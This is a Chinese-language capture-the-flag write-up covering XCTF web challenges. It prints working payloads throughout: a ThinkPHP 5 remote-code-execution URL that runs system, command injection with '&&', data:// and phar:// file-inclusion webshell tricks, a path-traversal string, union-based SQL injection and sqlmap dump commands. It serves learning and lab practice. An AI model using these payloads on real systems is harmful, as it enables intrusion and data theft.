date
Aug 5, 2021 12:02 PM
Related to 日程数据 1 (blog)
tags
slug
summary
icon
category
password

0x10 webshell

分析

典型的一句话木马
notion image
PHP提供4个专门的执行外部命令的函数:exec(), system(), passthru(), shell_exec()
notion image
本题有system()passthru()可用,查找flag
notion image
同路径?!!多玩一下
notion image

参考

0x11 command_execution1

notion image
127.0.0.1 && find / -name "flag*" 2>/dev/null
然后
notion image

0x06 weak_auth

notion image

0x12 simlpe_js

直接看源码
<html> <head> <title>JS</title> <script type="text/javascript"> function dechiffre(pass_enc){ var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"; var tab = pass_enc.split(','); var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length; k = j + (l) + (n=0); n = tab2.length; for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i])); if(i == 5)break;} for(i = (o=0); i < (k = j = n); i++ ){ o = tab[i-l]; if(i > 5 && i < k-1) p += String.fromCharCode((o = tab2[i])); } p += String.fromCharCode(tab2[17]); pass = p;return pass; } String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")); h = window.prompt('Enter password'); alert( dechiffre(h) ); </script> </head> </html>
修改为
<html> <head> <title>JS</title> <script type="text/javascript"> function dechiffre(pass_enc){ var pass = "55,56,54,79,115,69,114,116,107,49,50"; //替换为alert的一串数字 var tab = pass_enc.split(','); var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length; k = j + (l) + (n=0); n = tab2.length; for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i])); if(i == 5)break;} for(i = (o=0); i < (k = j = n); i++ ){ o = tab[i-l]; if(i > 5 && i < k-1) p += String.fromCharCode((o = tab2[i])); } p += String.fromCharCode(tab2[10]);// 修改长度为i=10 pass = p;return pass; } String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")); h = window.prompt('Enter password'); alert( dechiffre(h) ); alert('\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30'); </script> </head> </html>
 
notion image
比较符 $a==$b 松散比较 === 完全等于 = 大于等于 != 如果类型转换后$a不等于$b,Ture !== 不完全等于,如果$a不等于$b或者它们类型不同,Ture 当php进行一些数学计算的时候,当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数。 1 var_dump(0 == ‘0’); // true 2 var_dump(0 == ‘abcdefg’); // true 3 var_dump(0 === ‘abcdefg’); // false 4 var_dump(1 == ‘1abcdef’); // true * bool类型的true跟任意字符串可以弱类型相等 在某些情况下,PHP会把类数值数据(如含有数字的字符串等)转换成数值处理,== 运算符就是其中之一。在使用 == 运算符对两个字符串进行松散比较时,PHP会把类数值的字符串转换为数值进行比较,如果参数是字符串,则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值。比如: ‘3’ == ‘3ascasd’结果为true。

以上为新手板块部分

开始高手进阶

0x03 php_rce

ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。
网络查找到poc
http://tp.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l http://tp.vsplate.me/public/index.php?s=/index/\think\request/cache&key=ls%20-l|system
notion image

参考

0x04 Web_php_include

<?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?>
strstr(): 定义和用法: 搜索字符串在另一个字符串中是否存在,如果是,返回字符串及剩余部分,否则返回false。 区分大小写,stristr()函数不区分大小写 语法: strstr(string,search,before_search) string:必需,被搜索的字符串 search:必需,要搜索的字符串,若是数字,则搜索对应的ASCII值的字符 before_search:可选,默认为“false”,若为true,将返回search参数第一次出现之前的字符串部分
str_replace(): 定义和用法: 以其它字符替换字符串中的一些字符(区分大小写) 语法: str_replace(find,replace,string,count) find,必需,要查找的值 replace,必需,要替换的值 string,必需,被搜索的字符串 count,可选,替换次数
文件包含要用的php:// 会被替换为空“”,怎么绕过呢?来两次呗,反正你只换一次。也可以用大写啊。
?page=data://text/plain,<?php system("ls")?>
notion image
有了
notion image

还有其他的小知识:

常用伪协议用法: 1.php伪协议 用法 php://input,用于执行php代码,需要post请求提交数据。 php://filter,用于读取源码,get提交参数。?a=php://filter/read=convert.base64/resource=xxx.php 需要开启allow_url_fopen:php://input、php://stdin、php://memory、php://temp 不需要开启allow_url_fopen:php://filter 2.、data协议 用法: data://text/plain,xxxx(要执行的php代码) data://text/plain;base64,xxxx(base64编码后的数据) 例: ?page=data://text/plain, ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= 3.、file协议 用法: file://[本地文件系统的绝对路径]
intval intval() 在转换的时候,会从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串,intval() 不会报错而是返回 0。 var_dump(intval('2')) // 2 var_dump(intval('3abcd')) // 3 var_dump(intval('abcd')) // 0
is_numeric PHP提供了is_numeric函数,用来变量判断是否为数字。但是函数的范围比较广泛,不仅仅是十进制的数字。 <?php echo is_numeric(233333); // 1 echo is_numeric('233333'); // 1 echo is_numeric(0x233333); // 1 echo is_numeric('0x233333'); // 1 echo is_numeric('233333abc'); // 0 ?>
in_array in_array函数用来判断一个值是否在某一个数组列表里面,通常判断方式如下: in_array('b', array('a', 'b', 'c');
hash 比较的问题 0e 开头且后面都是数字会被当作科学计数法,也就是等于 0*10^xxx=0。如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过。 // '0e5093234' 为 0,'0eabc3234' 不为 0 // true '0e509367213418206700842008763514' == '0e481036490867661113260034900752' // true '0e481036490867661113260034900752' == '0'
$$ 变量覆盖 如果把变量本身的 key 也当变量,也就是使用了 $$,就可能存在问题。 $_ = 'POST'; // $$ 是等于 $_POST
命令执行 反引号 反引号 可以调用 shell_exec 正常执行代码 $_GET['v'] 相当于 shell_exec($_GET['v'])
phar:// 发现有一个文件上传功能,无法绕过,仅能上传jpg后缀的文件。与此同时,无法进行文件包含截断。allow_url_include=on 的状态下,就可以考虑phar伪协议绕过。 写一个shell.php文件,里面包含一句话木马。然后,压缩成xxx.zip。然后改名为xxx.jpg进行上传。最后使用phar进行包含 这里的路径为上传的 jpg 文件在服务器的路径 /index.php?id=phar://路径/xxx.jpg/shell

0x05 ICS-06

notion image
送分?应该是这里了
目录也扫不出来
sql注入点也找不到
这到底是啥 爆破id是我没想到的
notion image

0x06 warmup

看见啥就打开啥
so
notion image
and
notion image
分析一下代码
需要?file为字符串,运行函数emmm校验?file 通过后即可include

需要查查语法先

mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置 语法: mb_strpos (haystack ,needle )
mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //白名单 if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { //原始的 不需要 //source.php return true; } $_page = mb_substr( //过滤问号 $page, 0, //从头开始 mb_strpos($page . '?', '?') //找? ); if (in_array($_page, $whitelist)) { //?source.php? return true; } $_page = urldecode($page); //?source.php%3f $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { //?source.php%3f return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) //file不为空 && is_string($_REQUEST['file']) //为字符串 && emmm::checkFile($_REQUEST['file']) //?source.php%3f/../../../../ffffllllaaaagggg ) { include $_REQUEST['file']; //$_REQUEST 是通过 GET,POST 和 COOKIE 输入机制来传递参数,下面偷懒就用get方式传值 exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?> you can't see it
构造payload: 0x01:首先构造?file=source.php,满足上述第一点 0x02:再构造?file=source.php?,满足上述第二点 0x03:接着构造?file=source.php%253f,满足上述第三点 (由于服务器会自动解码一次,所以在checkFile()中,$page的值一开始会是source.php%3f,urldecode解码后变成了source.php?,这次便符合了?前内容在白名单的要求,函数返回true) 0x04:最后通过目录穿越的到ffffllllaaaagggg里面的内容,也就是flag。 playload:?file=source.php%3f/../../../../ffffllllaaaagggg
4个ffff暗示目录穿越4层,你的小眼神我不太懂啊。
还你的😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏😏

0x07 NewsCenter

网页啥都么有啊。扫扫看看呗。
notion image
嗯。看看。
发现是post请求 search=
0KB,也没文件包含,不对呀,试试sql注入,这种search大概率字符型 试试 '
notion image
找到回显位置,xx是为了清除搜到的news,#为注释
notion image
下下下一步:列
xx' union select 1,column_name,table_name from information_schema.columns where table_schema='news' #
notion image
换sqlmap 来一发
sqlmap -r post.txt -dbs
sqlmap -r post.txt -D news --tables
sqlmap -r post.txt -D news -T secret_table --columns
sqlmap -r post.txt -D news -T secret_table -C fl4g --dump
 
 
notion image
下一步:库
notion image
下下一步:表
xx' union select 1,table_schema,table_name from information_schema.columns where table_schema='news' #
notion image
结束
x' union select 1,fl4g,id from secret_table ##
notion image

0x08 NaNNaNNaNNaN-Batman

<script>_='function $(){ e=getEleById("c").value; length==16^be0f23233ace98aa$c7be9){ tfls_aie } na_h0lnrg{e_0iit\'_ns=[t,n,r,i]; for(o=0;o<13;++o){ [0]);.splice(0,1) } } } \'<input id="c">< onclick=$()>Ok</>\'); delete _var ","docu.)match(/"];/)!=null=[" write(s[o%4]buttonif(e.ment';for(Y in $=' ')with(_.split($[Y]))_=join(pop()); eval(_)</script>
代码审计!查代码语法,混乱的代码。还原代码,alert一下
notion image
手动格式化,大概可能是这样了
function $() { var e = document.getElementById("c").value; //定位输入框 if (e.length == 16) //长度16 if (e.match(/^be0f23/) != null) //以be0f23开头 if (e.match(/233ac/) != null) if (e.match(/e98aa$/) != null) //以e98aa结尾 if (e.match(/c7be9/) != null) { //只能插在中间be0fc7be923233ace98aa或be0f23233acc7be9e98aa var t = ["fl", "s_a", "i", "e}"]; //4 var n = ["a", "_h0l", "n"]; //3 var r = ["g{", "e", "_0"]; //3 var i = ["it'", "_", "n"]; //3 var s = [t, n, r, i]; for (var o = 0; o < 13; ++o) { document.write(s[o % 4][0]); s[o % 4].splice(0, 1) } } } document.write('<input id="c"><button onclick = $() > Ok</button > '); delete _
getElementById() 方法可返回对拥有指定 ID 的第一个对象的引用。 HTML DOM 定义了多种查找元素的方法,除了 getElementById() 之外,还有 getElementsByName() 和 getElementsByTagName()。 不过,如果您需要查找文档中的一个特定的元素,最有效的方法是 getElementById()。
从第三个位置开始删除数组后的两个元素: var fruits = ["Banana", "Orange", "Apple", "Mango"]; fruits.splice(2,2); fruits 输出结果: Banana,Orange
全局查找字符串 "ain",且不区分大小写: var str="The rain in SPAIN stays mainly in the plain"; var n=str.match(/ain/gi); n 输出结果: ain,AIN,ain,ain
代码不能执行了不能直接写结果了呀
notion image
直接console,它不香吗

0x09 php2

web啥也没有 目录扫描走一波
notion image
这个长度的文件,有情况
<?php if("admin"===$_GET[id]) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "<p>Access granted!</p>"; echo "<p>Key: xxxxxxx </p>"; } ?> Can you anthenticate to this website?
需要urldecode(?)=admin,浏览器自己也会url解码一次
notion image
notion image
 

0x0a unserialize3

notion image
notion image
知识点
5.1.2.4.1. CVE-2016-7124 在PHP 5.6.25 之前版本和 7.0.10 之前的版本,当对象的属性(变量)数大于实际的个数时, __wakeup() 不会被执行。
生成O:4:"xctf":1:{s:4:"flag";s:3:"111";}
解释一下吧,序列化是为了将对象转换为字符串存储。(因为无法直接存储对象)。 各参数代表的含义: O代表是一个对象: 4代表xctf类型的字符个数: xctf代表类型: {就是一个格式 s代表是字符串: 4代表flag属性的字符个数: flag代表对象的属性; s依旧代表字符串: 3代表flag属性值111的字符个数: 111代表flag属性的属性值; } 固定格式
O:4:"xctf":1:{s:4:"flag";s:3:"111";}改为O:4:"xctf":2:{s:4:"flag";s:3:"111";},绕过。
notion image
notion image

0x0b upload1

绕过本地图片验证
notion image
notion image
连一下马
notion image
notion image

0x0d Web_php_unserialize

<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
notion image
 
notion image
 
 
恶意短信攻防世界之我是菜鸡